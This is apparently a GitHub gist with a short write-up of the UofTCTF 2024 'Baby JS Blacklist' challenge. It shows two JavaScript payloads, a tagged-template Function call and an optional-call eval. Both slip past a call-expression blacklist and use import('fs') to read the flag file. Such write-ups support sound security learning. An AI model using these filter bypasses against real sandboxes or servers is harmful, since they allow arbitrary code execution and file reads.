Skip to content

Instantly share code, notes, and snippets.

@j4k0xb
Created January 15, 2024 15:13
Show Gist options
  • Save j4k0xb/c5f859284a86cc59078c576a98a39faf to your computer and use it in GitHub Desktop.
Save j4k0xb/c5f859284a86cc59078c576a98a39faf to your computer and use it in GitHub Desktop.
UofTCTF 2024 Baby JS Blacklist writeup

There are multiple ways to call a function without using a call expression. import() is a special syntax that can only be a call expression so it has to be wrapped in Function or eval.

  • Tagged template:
Function`import('fs').then(fs => console.log(fs.readFileSync('flag', 'utf8')))```;
  • Optional call expression:
eval?.("import('fs').then(fs => console.log(fs.readFileSync('flag', 'utf8')))");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment